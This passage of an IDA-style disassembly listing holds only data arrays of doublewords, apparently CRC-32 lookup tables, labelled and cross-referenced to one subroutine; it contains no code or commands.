7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dword_41C6A0 dd 0 ; DATA XREF: sub_40E3A1+56r ; sub_40E3A1+84r ... dd 191B3141h, 32366282h, 2B2D53C3h, 646CC504h, 7D77F445h dd 565AA786h, 4F4196C7h, 0C8D98A08h, 0D1C2BB49h, 0FAEFE88Ah dd 0E3F4D9CBh, 0ACB54F0Ch, 0B5AE7E4Dh, 9E832D8Eh, 87981CCFh dd 4AC21251h, 53D92310h, 78F470D3h, 61EF4192h, 2EAED755h dd 37B5E614h, 1C98B5D7h, 5838496h, 821B9859h, 9B00A918h dd 0B02DFADBh, 0A936CB9Ah, 0E6775D5Dh, 0FF6C6C1Ch, 0D4413FDFh dd 0CD5A0E9Eh, 958424A2h, 8C9F15E3h, 0A7B24620h, 0BEA97761h dd 0F1E8E1A6h, 0E8F3D0E7h, 0C3DE8324h, 0DAC5B265h, 5D5DAEAAh dd 44469FEBh, 6F6BCC28h, 7670FD69h, 39316BAEh, 202A5AEFh dd 0B07092Ch, 121C386Dh, 0DF4636F3h, 0C65D07B2h, 0ED705471h dd 0F46B6530h, 0BB2AF3F7h, 0A231C2B6h, 891C9175h, 9007A034h dd 179FBCFBh, 0E848DBAh, 25A9DE79h, 3CB2EF38h, 73F379FFh dd 6AE848BEh, 41C51B7Dh, 58DE2A3Ch, 0F0794F05h, 0E9627E44h dd 0C24F2D87h, 0DB541CC6h, 94158A01h, 8D0EBB40h, 0A623E883h dd 0BF38D9C2h, 38A0C50Dh, 21BBF44Ch, 0A96A78Fh, 138D96CEh dd 5CCC0009h, 45D73148h, 6EFA628Bh, 77E153CAh, 0BABB5D54h dd 0A3A06C15h, 888D3FD6h, 91960E97h, 0DED79850h, 0C7CCA911h dd 0ECE1FAD2h, 0F5FACB93h, 7262D75Ch, 6B79E61Dh, 4054B5DEh dd 594F849Fh, 160E1258h, 0F152319h, 243870DAh, 3D23419Bh dd 65FD6BA7h, 7CE65AE6h, 57CB0925h, 4ED03864h, 191AEA3h dd 188A9FE2h, 33A7CC21h, 2ABCFD60h, 0AD24E1AFh, 0B43FD0EEh dd 9F12832Dh, 8609B26Ch, 0C94824ABh, 0D05315EAh, 0FB7E4629h dd 0E2657768h, 2F3F79F6h, 362448B7h, 1D091B74h, 4122A35h dd 4B53BCF2h, 52488DB3h, 7965DE70h, 607EEF31h, 0E7E6F3FEh dd 0FEFDC2BFh, 0D5D0917Ch, 0CCCBA03Dh, 838A36FAh, 9A9107BBh dd 0B1BC5478h, 0A8A76539h, 3B83984Bh, 2298A90Ah, 9B5FAC9h dd 10AECB88h, 5FEF5D4Fh, 46F46C0Eh, 6DD93FCDh, 74C20E8Ch dd 0F35A1243h, 0EA412302h, 0C16C70C1h, 0D8774180h, 9736D747h dd 8E2DE606h, 0A500B5C5h, 0BC1B8484h, 71418A1Ah, 685ABB5Bh dd 4377E898h, 5A6CD9D9h, 152D4F1Eh, 0C367E5Fh, 271B2D9Ch dd 3E001CDDh, 0B9980012h, 0A0833153h, 8BAE6290h, 92B553D1h dd 0DDF4C516h, 0C4EFF457h, 0EFC2A794h, 0F6D996D5h, 0AE07BCE9h dd 0B71C8DA8h, 9C31DE6Bh, 852AEF2Ah, 0CA6B79EDh, 0D37048ACh dd 0F85D1B6Fh, 0E1462A2Eh, 66DE36E1h, 7FC507A0h, 54E85463h dd 4DF36522h, 2B2F3E5h, 1BA9C2A4h, 30849167h, 299FA026h dd 0E4C5AEB8h, 0FDDE9FF9h, 0D6F3CC3Ah, 0CFE8FD7Bh, 80A96BBCh dd 99B25AFDh, 0B29F093Eh, 0AB84387Fh, 2C1C24B0h, 350715F1h dd 1E2A4632h, 7317773h, 4870E1B4h, 516BD0F5h, 7A468336h dd 635DB277h, 0CBFAD74Eh, 0D2E1E60Fh, 0F9CCB5CCh, 0E0D7848Dh dd 0AF96124Ah, 0B68D230Bh, 9DA070C8h, 84BB4189h, 3235D46h dd 1A386C07h, 31153FC4h, 280E0E85h, 674F9842h, 7E54A903h dd 5579FAC0h, 4C62CB81h, 8138C51Fh, 9823F45Eh, 0B30EA79Dh dd 0AA1596DCh, 0E554001Bh, 0FC4F315Ah, 0D7626299h, 0CE7953D8h dd 49E14F17h, 50FA7E56h, 7BD72D95h, 62CC1CD4h, 2D8D8A13h dd 3496BB52h, 1FBBE891h, 6A0D9D0h, 5E7EF3ECh, 4765C2ADh dd 6C48916Eh, 7553A02Fh, 3A1236E8h, 230907A9h, 824546Ah dd 113F652Bh, 96A779E4h, 8FBC48A5h, 0A4911B66h, 0BD8A2A27h dd 0F2CBBCE0h, 0EBD08DA1h, 0C0FDDE62h, 0D9E6EF23h, 14BCE1BDh dd 0DA7D0FCh, 268A833Fh, 3F91B27Eh, 70D024B9h, 69CB15F8h dd 42E6463Bh, 5BFD777Ah, 0DC656BB5h, 0C57E5AF4h, 0EE530937h dd 0F7483876h, 0B809AEB1h, 0A1129FF0h, 8A3FCC33h, 9324FD72h dword_41CAA0 dd 0 ; DATA XREF: sub_40E3A1+5Dr ; sub_40E3A1+8Er ... dd 1C26A37h, 384D46Eh, 246BE59h, 709A8DCh, 6CBC2EBh, 48D7CB2h dd 54F1685h, 0E1351B8h, 0FD13B8Fh, 0D9785D6h, 0C55EFE1h dd 91AF964h, 8D89353h, 0A9E2D0Ah, 0B5C473Dh, 1C26A370h dd 1DE4C947h, 1FA2771Eh, 1E601D29h, 1B2F0BACh, 1AED619Bh dd 18ABDFC2h, 1969B5F5h, 1235F2C8h, 13F798FFh, 11B126A6h dd 10734C91h, 153C5A14h, 14FE3023h, 16B88E7Ah, 177AE44Dh dd 384D46E0h, 398F2CD7h, 3BC9928Eh, 3A0BF8B9h, 3F44EE3Ch dd 3E86840Bh, 3CC03A52h, 3D025065h, 365E1758h, 379C7D6Fh dd 35DAC336h, 3418A901h, 3157BF84h, 3095D5B3h, 32D36BEAh dd 331101DDh, 246BE590h, 25A98FA7h, 27EF31FEh, 262D5BC9h dd 23624D4Ch, 22A0277Bh, 20E69922h, 2124F315h, 2A78B428h dd 2BBADE1Fh, 29FC6046h, 283E0A71h, 2D711CF4h, 2CB376C3h dd 2EF5C89Ah, 2F37A2ADh, 709A8DC0h, 7158E7F7h, 731E59AEh dd 72DC3399h, 7793251Ch, 76514F2Bh, 7417F172h, 75D59B45h dd 7E89DC78h, 7F4BB64Fh, 7D0D0816h, 7CCF6221h, 798074A4h dd 78421E93h, 7A04A0CAh, 7BC6CAFDh, 6CBC2EB0h, 6D7E4487h dd 6F38FADEh, 6EFA90E9h, 6BB5866Ch, 6A77EC5Bh, 68315202h dd 69F33835h, 62AF7F08h, 636D153Fh, 612BAB66h, 60E9C151h dd 65A6D7D4h, 6464BDE3h, 662203BAh, 67E0698Dh, 48D7CB20h dd 4915A117h, 4B531F4Eh, 4A917579h, 4FDE63FCh, 4E1C09CBh dd 4C5AB792h, 4D98DDA5h, 46C49A98h, 4706F0AFh, 45404EF6h dd 448224C1h, 41CD3244h, 400F5873h, 4249E62Ah, 438B8C1Dh dd 54F16850h, 55330267h, 5775BC3Eh, 56B7D609h, 53F8C08Ch dd 523AAABBh, 507C14E2h, 51BE7ED5h, 5AE239E8h, 5B2053DFh dd 5966ED86h, 58A487B1h, 5DEB9134h, 5C29FB03h, 5E6F455Ah dd 5FAD2F6Dh, 0E1351B80h, 0E0F771B7h, 0E2B1CFEEh, 0E373A5D9h dd 0E63CB35Ch, 0E7FED96Bh, 0E5B86732h, 0E47A0D05h, 0EF264A38h dd 0EEE4200Fh, 0ECA29E56h, 0ED60F461h, 0E82FE2E4h, 0E9ED88D3h dd 0EBAB368Ah, 0EA695CBDh, 0FD13B8F0h, 0FCD1D2C7h, 0FE976C9Eh dd 0FF5506A9h, 0FA1A102Ch, 0FBD87A1Bh, 0F99EC442h, 0F85CAE75h dd 0F300E948h, 0F2C2837Fh, 0F0843D26h, 0F1465711h, 0F4094194h dd 0F5CB2BA3h, 0F78D95FAh, 0F64FFFCDh, 0D9785D60h, 0D8BA3757h dd 0DAFC890Eh, 0DB3EE339h, 0DE71F5BCh, 0DFB39F8Bh, 0DDF521D2h dd 0DC374BE5h, 0D76B0CD8h, 0D6A966EFh, 0D4EFD8B6h, 0D52DB281h dd 0D062A404h, 0D1A0CE33h, 0D3E6706Ah, 0D2241A5Dh, 0C55EFE10h dd 0C49C9427h, 0C6DA2A7Eh, 0C7184049h, 0C25756CCh, 0C3953CFBh dd 0C1D382A2h, 0C011E895h, 0CB4DAFA8h, 0CA8FC59Fh, 0C8C97BC6h dd 0C90B11F1h, 0CC440774h, 0CD866D43h, 0CFC0D31Ah, 0CE02B92Dh dd 91AF9640h, 906DFC77h, 922B422Eh, 93E92819h, 96A63E9Ch dd 976454ABh, 9522EAF2h, 94E080C5h, 9FBCC7F8h, 9E7EADCFh dd 9C381396h, 9DFA79A1h, 98B56F24h, 99770513h, 9B31BB4Ah dd 9AF3D17Dh, 8D893530h, 8C4B5F07h, 8E0DE15Eh, 8FCF8B69h dd 8A809DECh, 8B42F7DBh, 89044982h, 88C623B5h, 839A6488h dd 82580EBFh, 801EB0E6h, 81DCDAD1h, 8493CC54h, 8551A663h dd 8717183Ah, 86D5720Dh, 0A9E2D0A0h, 0A820BA97h, 0AA6604CEh dd 0ABA46EF9h, 0AEEB787Ch, 0AF29124Bh, 0AD6FAC12h, 0ACADC625h dd 0A7F18118h, 0A633EB2Fh, 0A4755576h, 0A5B73F41h, 0A0F829C4h dd 0A13A43F3h, 0A37CFDAAh, 0A2BE979Dh, 0B5C473D0h, 0B40619E7h dd 0B640A7BEh, 0B782CD89h, 0B2CDDB0Ch, 0B30FB13Bh, 0B1490F62h dd 0B08B6555h, 0BBD72268h, 0BA15485Fh, 0B853F606h, 0B9919C31h dd 0BCDE8AB4h, 0BD1CE083h, 0BF5A5EDAh, 0BE9834EDh dword_41CEA0 dd 0 ; DATA XREF: sub_40E3A1+72r ; sub_40E3A1+A3r ... dd 0B8BC6765h, 0AA09C88Bh, 12B5AFEEh, 8F629757h, 37DEF032h dd 256B5FDCh, 9DD738B9h, 0C5B428EFh, 7D084F8Ah, 6FBDE064h dd 0D7018701h, 4AD6BFB8h, 0F26AD8DDh, 0E0DF7733h, 58631056h dd 5019579Fh, 0E8A530FAh, 0FA109F14h, 42ACF871h, 0DF7BC0C8h dd 67C7A7ADh, 75720843h, 0CDCE6F26h, 95AD7F70h, 2D111815h dd 3FA4B7FBh, 8718D09Eh, 1ACFE827h, 0A2738F42h, 0B0C620ACh dd 87A47C9h, 0A032AF3Eh, 188EC85Bh, 0A3B67B5h, 0B28700D0h dd 2F503869h, 97EC5F0Ch, 8559F0E2h, 3DE59787h, 658687D1h dd 0DD3AE0B4h, 0CF8F4F5Ah, 7733283Fh, 0EAE41086h, 525877E3h dd 40EDD80Dh, 0F851BF68h, 0F02BF8A1h, 48979FC4h, 5A22302Ah dd 0E29E574Fh, 7F496FF6h, 0C7F50893h, 0D540A77Dh, 6DFCC018h dd 359FD04Eh, 8D23B72Bh, 9F9618C5h, 272A7FA0h, 0BAFD4719h dd 241207Ch, 10F48F92h, 0A848E8F7h, 9B14583Dh, 23A83F58h dd 311D90B6h, 89A1F7D3h, 1476CF6Ah, 0ACCAA80Fh, 0BE7F07E1h dd 6C36084h, 5EA070D2h, 0E61C17B7h, 0F4A9B859h, 4C15DF3Ch dd 0D1C2E785h, 697E80E0h, 7BCB2F0Eh, 0C377486Bh, 0CB0D0FA2h dd 73B168C7h, 6104C729h, 0D9B8A04Ch, 446F98F5h, 0FCD3FF90h dd 0EE66507Eh, 56DA371Bh, 0EB9274Dh, 0B6054028h, 0A4B0EFC6h dd 1C0C88A3h, 81DBB01Ah, 3967D77Fh, 2BD27891h, 936E1FF4h dd 3B26F703h, 839A9066h, 912F3F88h, 299358EDh, 0B4446054h dd 0CF80731h, 1E4DA8DFh, 0A6F1CFBAh, 0FE92DFECh, 462EB889h dd 549B1767h, 0EC277002h, 71F048BBh, 0C94C2FDEh, 0DBF98030h dd 6345E755h, 6B3FA09Ch, 0D383C7F9h, 0C1366817h, 798A0F72h dd 0E45D37CBh, 5CE150AEh, 4E54FF40h, 0F6E89825h, 0AE8B8873h dd 1637EF16h, 48240F8h, 0BC3E279Dh, 21E91F24h, 99557841h dd 8BE0D7AFh, 335CB0CAh, 0ED59B63Bh, 55E5D15Eh, 47507EB0h dd 0FFEC19D5h, 623B216Ch, 0DA874609h, 0C832E9E7h, 708E8E82h dd 28ED9ED4h, 9051F9B1h, 82E4565Fh, 3A58313Ah, 0A78F0983h dd 1F336EE6h, 0D86C108h, 0B53AA66Dh, 0BD40E1A4h, 5FC86C1h dd 1749292Fh, 0AFF54E4Ah, 322276F3h, 8A9E1196h, 982BBE78h dd 2097D91Dh, 78F4C94Bh, 0C048AE2Eh, 0D2FD01C0h, 6A4166A5h dd 0F7965E1Ch, 4F2A3979h, 5D9F9697h, 0E523F1F2h, 4D6B1905h dd 0F5D77E60h, 0E762D18Eh, 5FDEB6EBh, 0C2098E52h, 7AB5E937h dd 680046D9h, 0D0BC21BCh, 88DF31EAh, 3063568Fh, 22D6F961h dd 9A6A9E04h, 7BDA6BDh, 0BF01C1D8h, 0ADB46E36h, 15080953h dd 1D724E9Ah, 0A5CE29FFh, 0B77B8611h, 0FC7E174h, 9210D9CDh dd 2AACBEA8h, 38191146h, 80A57623h, 0D8C66675h, 607A0110h dd 72CFAEFEh, 0CA73C99Bh, 57A4F122h, 0EF189647h, 0FDAD39A9h dd 45115ECCh, 764DEE06h, 0CEF18963h, 0DC44268Dh, 64F841E8h dd 0F92F7951h, 41931E34h, 5326B1DAh, 0EB9AD6BFh, 0B3F9C6E9h dd 0B45A18Ch, 19F00E62h, 0A14C6907h, 3C9B51BEh, 842736DBh dd 96929935h, 2E2EFE50h, 2654B999h, 9EE8DEFCh, 8C5D7112h dd 34E11677h, 0A9362ECEh, 118A49ABh, 33FE645h, 0BB838120h dd 0E3E09176h, 5B5CF613h, 49E959FDh, 0F1553E98h, 6C820621h dd 0D43E6144h, 0C68BCEAAh, 7E37A9CFh, 0D67F4138h, 6EC3265Dh dd 7C7689B3h, 0C4CAEED6h, 591DD66Fh, 0E1A1B10Ah, 0F3141EE4h dd 4BA87981h, 13CB69D7h, 0AB770EB2h, 0B9C2A15Ch, 17EC639h dd 9CA9FE80h, 241599E5h, 36A0360Bh, 8E1C516Eh, 866616A7h dd 3EDA71C2h, 2C6FDE2Ch, 94D3B949h, 90481F0h, 0B1B8E695h dd 0A30D497Bh, 1BB12E1Eh, 43D23E48h, 0FB6E592Dh, 0E9DBF6C3h dd 516791A6h, 0CCB0A91Fh, 740CCE7Ah, 66B96194h, 0DE0506F1h dd 0 dd 96300777h, 2C610EEEh, 0BA510999h, 19C46D07h, 8FF46A70h dd 35A563E9h, 0A395649Eh, 3288DB0Eh, 0A4B8DC79h, 1EE9D5E0h dd 88D9D297h, 2B4CB609h, 0BD7CB17Eh, 72DB8E7h, 911DBF90h dd 6410B71Dh, 0F220B06Ah, 4871B9F3h, 0DE41BE84h, 7DD4DA1Ah dd 0EBE4DD6Dh, 51B5D4F4h, 0C785D383h, 56986C13h, 0C0A86B64h dd 7AF962FDh, 0ECC9658Ah, 4F5C0114h, 0D96C0663h, 633D0FFAh dd 0F50D088Dh, 0C8206E3Bh, 5E10694Ch, 0E44160D5h, 727167A2h dd 0D1E4033Ch, 47D4044Bh, 0FD850DD2h, 6BB50AA5h, 0FAA8B535h dd 6C98B242h, 0D6C9BBDBh, 40F9BCACh, 0E36CD832h, 755CDF45h dd 0CF0DD6DCh, 593DD1ABh, 0AC30D926h, 3A00DE51h, 8051D7C8h dd 1661D0BFh, 0B5F4B421h, 23C4B356h, 9995BACFh, 0FA5BDB8h dd 9EB80228h, 888055Fh, 0B2D90CC6h, 24E90BB1h, 877C6F2Fh dd 114C6858h, 0AB1D61C1h, 3D2D66B6h, 9041DC76h, 671DB01h dd 0BC20D298h, 2A10D5EFh, 8985B171h, 1FB5B606h, 0A5E4BF9Fh dd 33D4B8E8h, 0A2C90778h, 34F9000Fh, 8EA80996h, 18980EE1h dd 0BB0D6A7Fh, 2D3D6D08h, 976C6491h, 15C63E6h, 0F4516B6Bh dd 62616C1Ch, 0D8306585h, 4E0062F2h, 0ED95066Ch, 7BA5011Bh dd 0C1F40882h, 57C40FF5h, 0C6D9B065h, 50E9B712h, 0EAB8BE8Bh dd 7C88B9FCh, 0DF1DDD62h, 492DDA15h, 0F37CD38Ch, 654CD4FBh dd 5861B24Dh, 0CE51B53Ah, 7400BCA3h, 0E230BBD4h, 41A5DF4Ah dd 0D795D83Dh, 6DC4D1A4h, 0FBF4D6D3h, 6AE96943h, 0FCD96E34h dd 468867ADh, 0D0B860DAh, 732D0444h, 0E51D0333h, 5F4C0AAAh dd 0C97C0DDDh, 3C710550h, 0AA410227h, 10100BBEh, 86200CC9h dd 25B56857h, 0B3856F20h, 9D466B9h, 9FE461CEh, 0EF9DE5Eh dd 98C9D929h, 2298D0B0h, 0B4A8D7C7h, 173DB359h, 810DB42Eh dd 3B5CBDB7h, 0AD6CBAC0h, 2083B8EDh, 0B6B3BF9Ah, 0CE2B603h dd 9AD2B174h, 3947D5EAh, 0AF77D29Dh, 1526DB04h, 8316DC73h dd 120B63E3h, 843B6494h, 3E6A6D0Dh, 0A85A6A7Ah, 0BCF0EE4h dd 9DFF0993h, 27AE000Ah, 0B19E077Dh, 44930FF0h, 0D2A30887h dd 68F2011Eh, 0FEC20669h, 5D5762F7h, 0CB676580h, 71366C19h dd 0E7066B6Eh, 761BD4FEh, 0E02BD389h, 5A7ADA10h, 0CC4ADD67h dd 6FDFB9F9h, 0F9EFBE8Eh, 43BEB717h, 0D58EB060h, 0E8A3D6D6h dd 7E93D1A1h, 0C4C2D838h, 52F2DF4Fh, 0F167BBD1h, 6757BCA6h dd 0DD06B53Fh, 4B36B248h, 0DA2B0DD8h, 4C1B0AAFh, 0F64A0336h dd 607A0441h, 0C3EF60DFh, 55DF67A8h, 0EF8E6E31h, 79BE6946h dd 8CB361CBh, 1A8366BCh, 0A0D26F25h, 36E26852h, 95770CCCh dd 3470BBBh, 0B9160222h, 2F260555h, 0BE3BBAC5h, 280BBDB2h dd 925AB42Bh, 46AB35Ch, 0A7FFD7C2h, 31CFD0B5h, 8B9ED92Ch dd 1DAEDE5Bh, 0B0C2649Bh, 26F263ECh, 9CA36A75h, 0A936D02h dd 0A906099Ch, 3F360EEBh, 85670772h, 13570005h, 824ABF95h dd 147AB8E2h, 0AE2BB17Bh, 381BB60Ch, 9B8ED292h, 0DBED5E5h dd 0B7EFDC7Ch, 21DFDB0Bh, 0D4D2D386h, 42E2D4F1h, 0F8B3DD68h dd 6E83DA1Fh, 0CD16BE81h, 5B26B9F6h, 0E177B06Fh, 7747B718h dd 0E65A0888h, 706A0FFFh, 0CA3B0666h, 5C0B0111h, 0FF9E658Fh dd 69AE62F8h, 0D3FF6B61h, 45CF6C16h, 78E20AA0h, 0EED20DD7h dd 5483044Eh, 0C2B30339h, 612667A7h, 0F71660D0h, 4D476949h dd 0DB776E3Eh, 4A6AD1AEh, 0DC5AD6D9h, 660BDF40h, 0F03BD837h dd 53AEBCA9h, 0C59EBBDEh, 7FCFB247h, 0E9FFB530h, 1CF2BDBDh dd 8AC2BACAh, 3093B353h, 0A6A3B424h, 536D0BAh, 9306D7CDh dd 2957DE54h, 0BF67D923h, 2E7A66B3h, 0B84A61C4h, 21B685Dh dd 942B6F2Ah, 37BE0BB4h, 0A18E0CC3h, 1BDF055Ah, 8DEF022Dh dd 0 dd 41311B19h, 82623632h, 0C3532D2Bh, 4C56C64h, 45F4777Dh dd 86A75A56h, 0C796414Fh, 88AD9C8h, 49BBC2D1h, 8AE8EFFAh dd 0CBD9F4E3h, 0C4FB5ACh, 4D7EAEB5h, 8E2D839Eh, 0CF1C9887h dd 5112C24Ah, 1023D953h, 0D370F478h, 9241EF61h, 55D7AE2Eh dd 14E6B537h, 0D7B5981Ch, 96848305h, 59981B82h, 18A9009Bh dd 0DBFA2DB0h, 9ACB36A9h, 5D5D77E6h, 1C6C6CFFh, 0DF3F41D4h dd 9E0E5ACDh, 0A2248495h, 0E3159F8Ch, 2046B2A7h, 6177A9BEh dd 0A6E1E8F1h, 0E7D0F3E8h, 2483DEC3h, 65B2C5DAh, 0AAAE5D5Dh dd 0EB9F4644h, 28CC6B6Fh, 69FD7076h, 0AE6B3139h, 0EF5A2A20h dd 2C09070Bh, 6D381C12h, 0F33646DFh, 0B2075DC6h, 715470EDh dd 30656BF4h, 0F7F32ABBh, 0B6C231A2h, 75911C89h, 34A00790h dd 0FBBC9F17h, 0BA8D840Eh, 79DEA925h, 38EFB23Ch, 0FF79F373h dd 0BE48E86Ah, 7D1BC541h, 3C2ADE58h, 54F79F0h, 447E62E9h dd 872D4FC2h, 0C61C54DBh, 18A1594h, 40BB0E8Dh, 83E823A6h dd 0C2D938BFh, 0DC5A038h, 4CF4BB21h, 8FA7960Ah, 0CE968D13h dd 900CC5Ch, 4831D745h, 8B62FA6Eh, 0CA53E177h, 545DBBBAh dd 156CA0A3h, 0D63F8D88h, 970E9691h, 5098D7DEh, 11A9CCC7h dd 0D2FAE1ECh, 93CBFAF5h, 5CD76272h, 1DE6796Bh, 0DEB55440h dd 9F844F59h, 58120E16h, 1923150Fh, 0DA703824h, 9B41233Dh dd 0A76BFD65h, 0E65AE67Ch, 2509CB57h, 6438D04Eh, 0A3AE9101h dd 0E29F8A18h, 21CCA733h, 60FDBC2Ah, 0AFE124ADh, 0EED03FB4h dd 2D83129Fh, 6CB20986h, 0AB2448C9h, 0EA1553D0h, 29467EFBh dd 687765E2h, 0F6793F2Fh, 0B7482436h, 741B091Dh, 352A1204h dd 0F2BC534Bh, 0B38D4852h, 70DE6579h, 31EF7E60h, 0FEF3E6E7h dd 0BFC2FDFEh, 7C91D0D5h, 3DA0CBCCh, 0FA368A83h, 0BB07919Ah dd 7854BCB1h, 3965A7A8h, 4B98833Bh, 0AA99822h, 0C9FAB509h dd 88CBAE10h, 4F5DEF5Fh, 0E6CF446h, 0CD3FD96Dh, 8C0EC274h dd 43125AF3h, 22341EAh, 0C1706CC1h, 804177D8h, 47D73697h dd 6E62D8Eh, 0C5B500A5h, 84841BBCh, 1A8A4171h, 5BBB5A68h dd 98E87743h, 0D9D96C5Ah, 1E4F2D15h, 5F7E360Ch, 9C2D1B27h dd 0DD1C003Eh, 120098B9h, 533183A0h, 9062AE8Bh, 0D153B592h dd 16C5F4DDh, 57F4EFC4h, 94A7C2EFh, 0D596D9F6h, 0E9BC07AEh dd 0A88D1CB7h, 6BDE319Ch, 2AEF2A85h, 0ED796BCAh, 0AC4870D3h dd 6F1B5DF8h, 2E2A46E1h, 0E136DE66h, 0A007C57Fh, 6354E854h dd 2265F34Dh, 0E5F3B202h, 0A4C2A91Bh, 67918430h, 26A09F29h dd 0B8AEC5E4h, 0F99FDEFDh, 3ACCF3D6h, 7BFDE8CFh, 0BC6BA980h dd 0FD5AB299h, 3E099FB2h, 7F3884ABh, 0B0241C2Ch, 0F1150735h dd 32462A1Eh, 73773107h, 0B4E17048h, 0F5D06B51h, 3683467Ah dd 77B25D63h, 4ED7FACBh, 0FE6E1D2h, 0CCB5CCF9h, 8D84D7E0h dd 4A1296AFh, 0B238DB6h, 0C870A09Dh, 8941BB84h, 465D2303h dd 76C381Ah, 0C43F1531h, 850E0E28h, 42984F67h, 3A9547Eh dd 0C0FA7955h, 81CB624Ch, 1FC53881h, 5EF42398h, 9DA70EB3h dd 0DC9615AAh, 1B0054E5h, 5A314FFCh, 996262D7h, 0D85379CEh dd 174FE149h, 567EFA50h, 952DD77Bh, 0D41CCC62h, 138A8D2Dh dd 52BB9634h, 91E8BB1Fh, 0D0D9A006h, 0ECF37E5Eh, 0ADC26547h dd 6E91486Ch, 2FA05375h, 0E836123Ah, 0A9070923h, 6A542408h dd 2B653F11h, 0E479A796h, 0A548BC8Fh, 661B91A4h, 272A8ABDh dd 0E0BCCBF2h, 0A18DD0EBh, 62DEFDC0h, 23EFE6D9h, 0BDE1BC14h dd 0FCD0A70Dh, 3F838A26h, 7EB2913Fh, 0B924D070h, 0F815CB69h dd 3B46E642h, 7A77FD5Bh, 0B56B65DCh, 0F45A7EC5h, 370953EEh dd 763848F7h, 0B1AE09B8h, 0F09F12A1h, 33CC3F8Ah, 72FD2493h dd 0 dd 376AC201h, 6ED48403h, 59BE4602h, 0DCA80907h, 0EBC2CB06h dd 0B27C8D04h, 85164F05h, 0B851130Eh, 8F3BD10Fh, 0D685970Dh dd 0E1EF550Ch, 64F91A09h, 5393D808h, 0A2D9E0Ah, 3D475C0Bh dd 70A3261Ch, 47C9E41Dh, 1E77A21Fh, 291D601Eh, 0AC0B2F1Bh dd 9B61ED1Ah, 0C2DFAB18h, 0F5B56919h, 0C8F23512h, 0FF98F713h dd 0A626B111h, 914C7310h, 145A3C15h, 2330FE14h, 7A8EB816h dd 4DE47A17h, 0E0464D38h, 0D72C8F39h, 8E92C93Bh, 0B9F80B3Ah dd 3CEE443Fh, 0B84863Eh, 523AC03Ch, 6550023Dh, 58175E36h dd 6F7D9C37h, 36C3DA35h, 1A91834h, 84BF5731h, 0B3D59530h dd 0EA6BD332h, 0DD011133h, 90E56B24h, 0A78FA925h, 0FE31EF27h dd 0C95B2D26h, 4C4D6223h, 7B27A022h, 2299E620h, 15F32421h dd 28B4782Ah, 1FDEBA2Bh, 4660FC29h, 710A3E28h, 0F41C712Dh dd 0C376B32Ch, 9AC8F52Eh, 0ADA2372Fh, 0C08D9A70h, 0F7E75871h dd 0AE591E73h, 9933DC72h, 1C259377h, 2B4F5176h, 72F11774h dd 459BD575h, 78DC897Eh, 4FB64B7Fh, 16080D7Dh, 2162CF7Ch dd 0A4748079h, 931E4278h, 0CAA0047Ah, 0FDCAC67Bh, 0B02EBC6Ch dd 87447E6Dh, 0DEFA386Fh, 0E990FA6Eh, 6C86B56Bh, 5BEC776Ah dd 2523168h, 3538F369h, 87FAF62h, 3F156D63h, 66AB2B61h dd 51C1E960h, 0D4D7A665h, 0E3BD6464h, 0BA032266h, 8D69E067h dd 20CBD748h, 17A11549h, 4E1F534Bh, 7975914Ah, 0FC63DE4Fh dd 0CB091C4Eh, 92B75A4Ch, 